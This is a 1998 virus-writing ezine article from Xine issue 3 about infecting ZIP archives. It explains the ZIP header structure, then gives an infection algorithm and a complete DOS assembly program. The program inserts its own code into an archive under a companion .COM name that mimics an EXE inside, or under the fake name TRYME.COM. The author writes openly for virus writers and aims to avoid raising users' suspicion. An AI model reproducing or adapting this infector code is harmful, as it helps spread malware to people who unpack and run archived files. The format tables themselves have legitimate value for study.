
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 108 |
                                        \-----------------------------/



                  DROPPING & COMPANIONING over ZIP archives
                      From the Archives infector series
                          by UnknowN MnemoniK/ikx


  Intro
 +-----+

 Zip are the most complex archive file to infect , obviously also the most
 used , a lot of programs use them , create them , modify them , make some
 phucked  tricks on them , those programs are  almost writted in C by  bad
 coders using library, object and code and don't care about the structure.
 I have found only one prog that use a little assembler , but like all asm
 code writted by a c programmer , the code is unreadable , really , I have
 spend  three  hours about shitty  things,the code  might to be  something
 coded  by Jacky Qwerty ,  unreadable , uncomprehensible  and without  any
 sense  but  it  works . Infect a zip is an art because a lot of platforms
 support them  and specially BBS that convert ALL files they receive  into
 zip files (with any kinda archiver) , zip are also  really common  on ftp
 but also on cdrom , waraz games , etc etc etc....

  The zip file format
 +-------------------+

 Zip doesn't use the same scheme of packet like another archive, it uses a
 <<locked>> and a little messy structure , for this reason there are a lot
 of infection ways ( Gewd for vx ), in fact, you have three types of areas
 of  packets  , the local files , the  central  directory  and the end  of 
 central directory, the first contain a certain header plus the compressed
 file  ,  the second contains severals informations ( and usefull for us )
 and of course have  his  header , the  third and  the last  one  contains 
 general informations about the file , here's the scheme

 +-------------------+
 | Local File 1      | ----------+
 +-------------------+           |      The information about  the file in
 | Local File 2      |           |      local file 1  must  be the same as
 +-------------------+           |      Central Directory 1 to have a full
 | Local File ...    |           +----- compatibility with any zip program
 +-------------------+           |      The first block of  Central Dir. 1
 | Local File n      |           |      need to be in relation  with Local 
 +-------------------^---+       |      File 1 , the second Central Dir. 2
 | Central Directory 1   | ------+      with the Local File 2 ,  you  MUST 
 +-----------------------+              respect   this  order  .  In  fact 
 | Central Directory 2   |              PKUNZIP don't care about the order
 +-----------------------+              but  some  programs  like   Norton
 | Central Directory ... |              commander archive utility report a
 +-----------------------+              a crash  if you  don't respect  it 
 | Central Directory n   |              anyway , crashes alert  often  the
 +-----------------------^--+           user  who believe  that  he have a  
 | End of central directory |           virus (really pathetic ...)
 +--------------------------+

 It's  important  to see  how it works for any  manipulation
 
  Headers structure
 +-----------------+

 I  need  to send  a big  thanks to  Griyo  and superx  who  sent me those
 informations  that helped me  a lot for the zip infection!  I found  this
 really easy  to understand , I had  tried  to do the same things for  the
 arj and rar
 
OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00     ZIPLOCSIG   HEX  04034B50    ;Local File Header Signature
04     ZIPVER      DW   0000        ;Version needed to extract
06     ZIPGENFLG   DW   0000        ;General purpose bit flag

	Value : (Bit) 0 = File encrypted	
		      1 = If set and file imploded , then 8k sliding 
		      dictionary was used , else 4k dictionary was used
		      2 = If set and file imploded , then 3 shannon-Fano
		      trees were used , else 2 shannon-Fano trees
		      3-4 = unused
		      5-7 = used internaly by zip	
		     
08     ZIPMTHD     DW   0000        ;Compression method

	Value :	0 = No compression used
		1 = LZW , 8K buffer , 9-13 buts with partial clearing
		2 = Reduced-1 , Probalistic compression L(X)=lower 7 bits	
		3 = Reduced-2 , idem but lower 6 bits
		4 = Reduced-3 , idem + lower 5 bits
		5 = Reduced-4 , idem + lower 4 bits
		6 = Imploded , 2 Shanno-Fanno trees ,4K sliding dictionary
		7 = Imploded , 3 Shanno-Fanno trees ,4K sliding dictionary
		8 = Imploded , 2 Shanno-Fanno trees ,8K sliding dictionary
		9 = Imploded , 3 Shanno-Fanno trees ,8K sliding dictionary

0A     ZIPTIME     DW   0000        ;Last mod file time (MS-DOS)
0C     ZIPDATE     DW   0000        ;Last mod file date (MS-DOS)
0E     ZIPCRC      HEX  00000000    ;CRC-32
12     ZIPSIZE     HEX  00000000    ;Compressed size
16     ZIPUNCMP    HEX  00000000    ;Uncompressed size
1A     ZIPFNLN     DW   0000        ;Filename length
1C     ZIPXTRALN   DW   0000        ;Extra field length
1E     ZIPNAME     DS   ZIPFNLN     ;filename
--     ZIPXTRA     DS   ZIPXTRALN   ;extra field

CENTRAL DIRECTORY STRUCTURE
---------------------------

OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00     ZIPCENSIG   HEX  02014B50    ;Central file header signature
04     ZIPCVER     DB   00          ;Version made by
05     ZIPCOS      DB   00          ;Host operating system

	value :	0 = MS-DOS and OS/2	1 = Amiga
		2 = VMS			3 = *nix
		4 = VM/CMS		5 = Atari ST
		6 = OS/2 1.2		7 = Macintosh
		8 = thru		

06     ZIPCVXT     DB   00          ;Version needed to extract
07     ZIPCEXOS    DB   00          ;O/S of version needed for extraction
08     ZIPCFLG     DW   0000        ;General purpose bit flag
0A     ZIPCMTHD    DW   0000        ;Compression method
0C     ZIPCTIM     DW   0000        ;Last mod file time (MS-DOS)
0E     ZIPCDAT     DW   0000        ;Last mod file date (MS-DOS)
10     ZIPCCRC     HEX  00000000    ;CRC-32
14     ZIPCSIZ     HEX  00000000    ;Compressed size
18     ZIPCUNC     HEX  00000000    ;Uncompressed size
1C     ZIPCFNL     DW   0000        ;Filename length
1E     ZIPCXTL     DW   0000        ;Extra field length
20     ZIPCCML     DW   0000        ;File comment length
22     ZIPDSK      DW   0000        ;Disk number start
24     ZIPINT      DW   0000        ;Internal file attributes

	value : (Bit) 0 = if set then file is an ascii text file
			  else , file apparently contains binary data
		      1-7 = unused	

26     ZIPEXT      HEX  00000000    ;External file attributes, host
                                    ;system dependent
2A     ZIPOFST     HEX  00000000    ;Relative offset of local header
                                    ;from the start of the first disk
                                    ;on which this file appears
2E     ZIPCFN      DS   ZIPCFNL     ;Filename or path - should not
                                    ;contain a drive or device letter,
                                    ;or a leading slash. All slashes
                                    ;should be forward slashes '/'
--     ZIPCXTR     DS   ZIPCXTL     ;extra field
--     ZIPCOM      DS   ZIPCCML     ;file comment

END OF CENTRAL DIR STRUCTURE
----------------------------

OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00     ZIPESIG     HEX  06064B50    ;End of central dir signature
04     ZIPEDSK     DW   0000        ;Number of this disk
06     ZIPECEN     DW   0000        ;Number of disk with start central dir
08     ZIPENUM     DW   0000       ;Total number of entries in central dir
                                    ;on this disk
0A     ZIPECENN    DW   0000        ;total number entries in central dir
0C     ZIPECSZ     HEX  00000000    ;Size of the central directory
10     ZIPEOFST    HEX  00000000    ;Offset of start of central directory
                                    ;with respect to the starting disk
                                    ;number
14     ZIPECOML    DW   0000        ;zipfile comment length
16     ZIPECOM     DS   ZIPECOML    ;zipfile comment

 Note that ZIPECOM will be displayed at screen !

 those  datas  becomes from a document  writted  by Raymond  Clay , read it
 many times , when you have already well understand it , we can pass on the
 infection process

  Infection
 +---------+

 Of course ,for any infection , you must fix host os and compression to No 
 compression , when done then we can continue infection

 Okay ,  if you want infect  any zip file , you will have 3 tricks to do ,
 first drop  the local  header  and the virus , second  drop  the  central
 directory about the virus go to the end and modify the end of central dir
 structure and close the file

 In fact , the situation is not too simple, there are many problems, first
 you must drop the virus as the last packet in the local file packets area
 Why not set it as  the first packet ? because the zipofst of other packet
 will not correspond with the reality, after that you need also to put the
 central directory packet at the end of the file, and you must also modify
 the end of central directory packet.Okay but anyway if you write the last
 local , you overwrite the central, so you must save the central directory
 area, if you  overwrite the central directory you will overwrite also the
 end of central header ,so you must save it also

 The second big problem is to find the end of the local packets area ,good
 news, this is also the begin of central directory area,I know two methods
 to find the start of central directory

     * The  offset of the start of  central directory is placed in the END 
       OF CENTRAL , the END OF CENTRAL  is at the end of the file , so you 
       can get  it only  with the end of central ,  unfortunately  there's 
       the comment and extra string, so you need to search where start the 
       END OF CENTRAL , and then get the start of CENTRAL DIRECTORY

     * The seeking  method consist  to jump from an header to an another ,
       you read the first header,  calculate the offset of the next header
       until you  find the CENTRAL DIRECTORY signature, this method is the
       most secure way to find the central directory
       
 I have choosed the first solution I found the second one require too many
 disk acesses and it will raise user's suspects ,with the first solution ,
 I can't read any byte I want from the end of the file,so I have choose to
 read only  5000 bytes from the end ( think that 80x25 = 2000 ), I haven't
 encountered  zips that have an end of central bigger than 5000, it's okay
 and it's works right!

 When I have located  the offset of the local header ,I read it and put it
 into a buffer , after that , I get the offset of the start of the central
 directory , I save the central directory area plus the location , I write 
 the virus and a new header , I write all the central directory  , the new
 central directory and the modified end of central directory

 Companing ? Yeah, this is possible because we can found the original name
 in the central directory  , when an EXE file is found  , then we copy the
 name into a buffer and write it  into the central directory and the local
 header. For that operation you need to scan each header , if no exe found
 you can also drop a file into the zip but this is more dangerous

 We can build the  zip infection algorithm  , it's mine , there's a lot of
 other , that can be quite good

 1ø Open the file 
 2ø Go to the end - 5000
 3ø Read 5000 bytes
 4ø Scan after the end of central directory , if not found goto 13
 5ø Save the end central directory
 6ø get start offset of central directory and save it also 
 7ø goto to start of offset of central directory 
 8ø Write the header of the virus plus the virus
 9ø Write central directory
 10ø Write central directory viral header
 11ø Modify end of central directory
 12ø Write end of central directory
 13ø Close the file

 Zip open ways to a lot of infection types , sure, you'll surprised in the
 next issue of  Xine  to see how zip can be used by VX to do something you 
 would never imagine

 Anyway , I invite you to see the code below , compile this code with TASM
 & TLINK and test it with a TEST.ZIP file in the directory , test with and
 without an executable in the file

---------------------------------------------------------------------------

.286                                            
.model tiny
.code

org 100h

start:

mov ax,3d02h                                    ; open in r/w
mov dx,offset zipfile                           ; zipfile
int 21h                                         ; ask dos , dos do it!
xchg bx,ax                                      ; bx = handle

mov al,02h                                      ; go at the end
call go

mov word ptr [sizeoffile+2],ax                  ; save position ( for use
mov word ptr [sizeoffile],dx                    ; later )

search_startoflocal:

xchg cx,dx
mov dx,ax
sub dx,5000
mov ax,4200h                                    ; go at endoffile-5000
int 21h						; ask dos , dos do it !

mov ah,3Fh					; go read anything
mov cx,5000					; go now
mov dx,offset temporary1			; put it into temporary1
int 21h						; read it

mov si,offset temporary1			; si = temporary1
mov cx,5000

O_loop:

mov dx,word ptr [si]                            ; scan after PK signature
mov ax,4b50h
cmp dx,ax

je testifPK
                                            ;test about word for endofcentral
                                            ;signature
O_Next1:

inc si

loop O_loop

kern_error:

jmp novalid_or_badzip                       ; not found ? erm don't infect it

testifPK:

cmp word ptr [si+2],0605h
jnz O_next1

push si                                         ; save local position
push bp                                         ; and bp  

mov bp,5000                                     ; si = start of end + offset 
sub si,offset temporary1                        ; temporary1 
sub bp,si                                       ; bp = 5000 - (temporary1-si)
mov word ptr [sizeofend],bp                     ; here we get the size of
                                                ; sizeofend
pop bp                                          ; restore bp
pop si                                          ; restore si

mov ax,word ptr [si+0ch]                        ; save the size of central
mov dx,word ptr [si+0ch+2]
mov word ptr [sizeofcentral],ax
cmp dx,0

jne kern_error                                  ; if sizeofcentral > 64 k
                                                ; then boom bidibyebye
cmp ax,55000                                    ; if sizeofcentral > 55 k
ja kern_error                                   ; then boom bidibyebye

mov word ptr [sizeofcentral+2],dx               ; mov 0 in sizeofcentral+2

mov dx,word ptr [si+10h]                        ; get offset of central 
mov cx,word ptr [si+10h+2]                      ; directory 
mov word ptr [startOfcentral],dx		; restore file handler
mov word ptr [startOfcentral+2],cx              ; 

mov cx,word ptr [startOfcentral+2]              ; set cx/dx to the central 
mov dx,word ptr [startOfcentral]                ; directory

mov ax,4200h
int 21h                                         ; go now on central dir.

push ax                                         ; save ax,dx
push dx

mov ah,3fh                                      ; read and save central
mov cx,word ptr [sizeofcentral]                 ; directory
mov dx,offset centraltemporary
int 21h

mov ah,3fh                                      ; read and save the end of  
mov cx,word ptr [sizeofend]                     ; central directory
mov dx,offset temporary1
int 21h                                         

pop cx                                          ; restore offset of central
pop dx                                          ; dir

mov ax,4200h
int 21h                                         ; go for it

call set_a_name                                 ; now we generate a name
                                                ; see companioning over zip
mov si,offset start                             ; get the CRC32 of this 
mov cx,fin-start                                ; program

call crc_calc                                   

mov word ptr [zipcrc],cx                        ; save it into our header
mov word ptr [zipcrc+2],dx

push cx                                         ; save cx dx
push dx                                         ;

mov ah,40h                                      ; write our local header
mov cx,CentralHeader-localHeader
mov dx,offset localHeader
int 21h

call writename                                  ; write the filename

mov word ptr [zipcrc],0                         ; and reset it 
mov word ptr [zipcrc+2],0                       ; becoz it'll generate
                                                ; confusion later
mov ah,40h
mov cx,fin-start
mov dx,offset start
int 21h                                         ; write this code

mov al,1                                        ; go here
call go

mov word ptr [temporary1+10h],ax                ; save this position because
mov word ptr [temporary1+10h+2],dx              ; it'll be the start of 
                                                ; central directory
pop dx                                          ; restore dx cx ( CRC32
pop cx

mov word ptr [zipccrc],cx                       ; put program crc32 in 
mov word ptr [zipccrc+2],dx                     ; our cental header

mov ah,40h                                      ; write the old
mov cx,word ptr [sizeofcentral]                 ; central directory
mov dx,offset centraltemporary
int 21h

mov ax,word ptr [startofcentral]                ; set in our central header
mov word ptr [CentralHeader+2ah],ax             ; the start of the virus
mov ax,word ptr [startofcentral+2]              ; who are equal of the 
mov word ptr [CentralHeader+2ah+2],ax           ; old startofcentral

mov ah,40h                                      ; write our centralHeader
mov cx,endofCentral-CentralHeader
mov dx,offset CentralHeader
int 21h

call writename                                  ; write our name

inc word ptr [Temporary1+08]                    ; increment the number
inc word ptr [Temporary1+0Ah]                   ; of entries in endofcent.

add word ptr [Temporary1+0Ch],Endofcentral-CentralHeader
mov ax,word ptr [ZipFnln]                       ; increase the size of
add word ptr [temporary1+0Ch],ax                ; the central dir in 
                                                ; end of central
mov ah,40h
mov cx,word ptr [sizeofend]
mov dx,offset temporary1                        ; write temporary1
int 21h                                         ;

novalid_or_badzip:                              ; anything suspect during
                                                ; infection then close
mov ah,3eh                                      ; the file
int 21h

ret

go:                                             ; moving over the file

mov ah,42h                                      ; pretty often used
xor dx,dx
xor cx,cx
int 21h

ret

LocalHeader:

ziplogsig:      db 50h,4bh,03,04                ; signature
zipver:         dw 0ah                          ; ver need to extract
zipgenflag:     dw 0                            ; no particulary flag
zipMthd:        dw 0                            ; no compression
zipTime:        db 63h,78h                      ; aleatory
zipDate:        db 31h,24h                      ; aleatory
zipCrc:         db 4 dup (0)                    ; unknown
zipSize:        dd fin-start                    ; unknown
zipUncmp:       dd fin-start                    ; unknown
ZipFnln:        dw 0                            ; unknown
ZipXtraLn:      db 2 dup (0)                    ; unknown

CentralHeader:

zipCenSig:      db 50h,4bh,01,02                ; central signature
zipCver:        db 14                           ; ver made by
zipCos:         db 0                            ; Host Operating -> All
zipCvxt:        db 0                            ; Ver need to extract
ZipCeXos:       db 0                            ; Ver need to extract.
ZipCflg:        dw 0                            ; No encryption !
ZipCmthd:       dw 0                            ; Method : Store it !
ZipCtim:        db 63h,78h                      ; last mod time
ZipCDat:        db 31h,24h                      ; last mod date
ZipCCrc:        db 4 dup (0)                    ; Crc-32 unknown
ZipCsiz:        dd fin-start                    ; Compressed size unknown
ZipCunc:        dd fin-start                    ; Uncompressed size unkown
ZipCfnl:        dw 0                            ; filename length unknown
ZipCxtl:        dw 0                            ; Extra Field length 0
ZipCcml:        dw 0                            ; file comment length 0
ZipDsk:         dw 0                            ; Disk number start (?) 0
ZipInt:         dw 0                            ; Internal file attribute no
ZipExt:         db 4 dup (0)                    ; external file attrib -> 0
ZipOfst:        db 4 dup (0)                    ; relativeoffset local head
                                                ; unknown

EndOfCentral:

crc_calc:

push bx                                 ; save file handle
push si cx                              ; cx and si

call crc_table				; render crc table

pop cx si

mov bp,cx                               ; bp equal numbah of start process

mov cx,0ffffh                           ; reset counter
mov dx,0ffffh

xor ax,ax

Crc_loop:

lodsb
mov bx,ax
xor bl,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,bh
shl bx,1
shl bx,1
xor cx,word ptr [bx+di]
xor dx,word ptr [bx+di+02]
dec bp

jnz Crc_loop

not dx                                  ; not the result
not cx

pop bx                                  ; restore handle and be back!
ret

crc_table:

mov    di,offset starttable+1024-2	; the buffer table
					; remember : It begin by the end
mov    bp,255				; set bp equal 255 
					; 255 * 4 = 1024
std					; set Direction Flag On
					
TableHighloop:				; the major loop in the Crc table Calc

mov	cx,8				; set the minus loop to 8
mov	dx,bp				; dx = bp , major counter loop
xor 	ax,ax				; ax = zero

TableLowLoop:

shr    ax,1				; mov one byte of ax at right in bin
rcr    dx,1				; if anything losted , put it on dx

jae    anomality			; if superior or equal skip encrypt.

xor    dx,08320h			; encrypt value by a signature
xor    ax,0EDB8h			;

anomality:

loop   TableLowLoop			; make it 8 times

stosw					; write ax
xchg   dx,ax
stosw					; not write dx
dec    bp				; decrement the counter

jnz TableHighLoop			; repeat it until bp = 0

mov word ptr [di],0			; last value equal 0
sub di,2
mov word ptr [di],0
cld					; clear direction flag			

ret

set_a_name:

mov si,offset centraltemporary

searchnext:

cmp word ptr [si],4B50h                         ; if not 4B60h then there's
jne not_found                                   ; really a problem

mov cx,word ptr [si+1Ch]                        ; 
cmp cx,255                                      ; if cx > 255
ja nextone                                      ; then don't search about it

mov bp,word ptr [si+1Ch]                        ; 
cmp word ptr [si+2Eh+bp-2],'EX'                 ; check if the name have  
jne nextone                                     ; XE as last offset if not 
                                                ; then skip this procedure

add si,2EH                                      ;else then copy the file name
mov di,offset temporaryname                     ;into temporary name with
                                                ;COM extension
push cx

repz movsb
sub di,3
mov word ptr [di],'OC'
mov byte ptr [di+2],'M'

pop cx

jmp go_out                                      ; we finish!

nextone:                                        ; goto to the next header

mov di,si
add si,2eh
add si,word ptr [di+1ch]
add si,word ptr [di+1eh]
add si,word ptr [di+20h]

jmp searchnext

not_found:					; put a fake name

mov si,offset betaname
mov di,offset temporaryname
mov cx,9

push cx
repz movsb                                      
pop cx

go_out:

mov word ptr [ZipCFnl],cx
mov word ptr [ZipFnln],cx

ret 

WriteName:                                      ; write the name
                                                ; in bx handle
mov ah,40h
mov cx,word ptr [ZipFnln]
mov dx,offset temporaryname
int 21h

ret

betaname:	db 'TRYME.COM'			; name of the file
zipfile:	db 'test.zip',0			; name of the host of the file

fin:

sizeoffile:     dd ?				; zip informations saved

startofcentral: dd ?				

sizeofcentral:  dd ?

sizeofend:      dd ?

starttable: db	1024 dup (?)			; for the crc32

temporaryname:	db 256 dup (?)			; the name 

temporary1:	dw 5000 dup (?)			; for the endofcentral

centraltemporary:	dw ?			; for the centraltemporary

end start

---------------------------------------------------------------------------

 Improvent ? Build a vxd and correct some mistake is cool , like usual , a
 32 bits asm crc is cool too , anyway , some surprise'll come




Les petits d‚linquants (C) Unkm98!
